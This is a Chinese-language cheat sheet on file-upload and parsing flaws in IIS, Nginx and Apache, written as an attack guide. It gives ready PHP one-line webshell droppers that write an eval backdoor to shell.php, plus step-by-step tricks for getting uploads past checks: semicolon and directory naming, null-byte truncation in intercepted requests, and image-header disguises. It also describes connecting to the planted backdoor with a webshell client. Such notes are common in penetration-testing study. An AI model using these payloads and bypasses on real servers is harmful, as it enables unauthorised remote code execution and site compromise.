一、IIS 5.x/6.0解析漏洞利用方法有两种
1.目录解析
/xx.asp/xx.jpg
漏洞原理:在网站下建立名字为 xx.asp的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。(php的也是一样)
漏洞利用:
例如创建目录 images.php,那么如果把这个写有一句话木马的1.jpg文件上传进images.php这个目录下面,那么http://127.0.0.1/images.php/1.jpg 这个就是一个后门地址,可以直接用菜刀去连接
2.文件解析
xx.asp;.jpg (分号截断)
漏洞原理:在IIS6.0下的服务器默认不解析“;”后面的内容,也就是说xx.asp;.jpg会被服务器看成是xx.asp,解析成了asp文件
漏洞利用:上传一个写有一句话的1.asp;.jpg木马文件就可以直接用菜刀连接了(或者直接上传一个大马也可以直接访问了)
IIS6.0 默认的可执行文件除了asp还包含这三种
/xx.asa
/xx.cer
/xx.cdx
二、IIS 7.x/ Nginx <8.03解析漏洞
Nginx漏洞原理:
Nginx默认是以CGI的方式支持PHP解析的(即默认Fast-CGI为开启状态),普遍的做法是:上传一个名字为1.jpg,内容为:
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
的文件(其实就是利用了fputs这个函数),然后访问1.jpg/.php,在这个目录下就会生成一句话木马 shell.php
·IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
三、Nginx <8.03 空字节代码执行漏洞
漏洞原理:Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
四、利用apache解析漏洞绕过服务器端扩展名检测:
漏洞原理:Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断. 这种漏洞存在于使用module模式与php结合的所有版本的Apache。
利用方法:将木马命名为 【1.php.adc】,在连接菜刀时,应该是http://.../1.php
五,IIS7.0,7.5和Nginx<8.03畸形解析漏洞(写webshell漏洞)
原理:在上传文件所在目录下创建一个一句话木马文件
实现过程:新建一个1.txt文件,内容为:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[test])?>')?>
将文件保存成1.jpg格式,上传到服务器,假设上传路径为/upload,
上传成功后,直接访问/upload/1.jpg,然后我们会发现/upload目录下创建了一个一句话木马文件shell.php
六,空字节代码绕过漏洞,也叫神奇的00截断,此处的00指的是16进制的00
文件名00截断:直接上实现过程,,,
1)第一种方法:上传文件名为1.php.jpg格式的图马文件,抓包后,在php后面加上一个空格字符,然后到hex中将php后面的空格字符对应的20改为00后放行即可。
2)第二种方法:上传文件名为1.php%00.jpg格式的图马文件,抓包后,将%00进行url解码后放行即可。
请求包中包含上传目录的,可以尝试对上传目录进行00截断,原理都一样,话不多说,直接上实现过程,,,,
实现过程:上传路径/upload/,直接改成/upload/%00,再将%00进行url解码后放行即可
七,一句话绕过:
(1).00截断——计算机遇到’ ’字符,会认为该字符结束
方法:在抓到的包中,转到hex,找到文件名.php.jpg对应的地方将2e改为00(2e是字符‘.’对应的hex值)
或者直接在.php后面加上%00然后选中%00,对其url-decode处理
(2)针对文件内容检测,最常用的就是图片马了,(它检测内容的时候,是根据文件开头是否有GIF89A这些,以此来判断是否是图片)
很全的一个一句话各种绕过的一个网址:https://blog.csdn.net/jaivy/article/details/77611738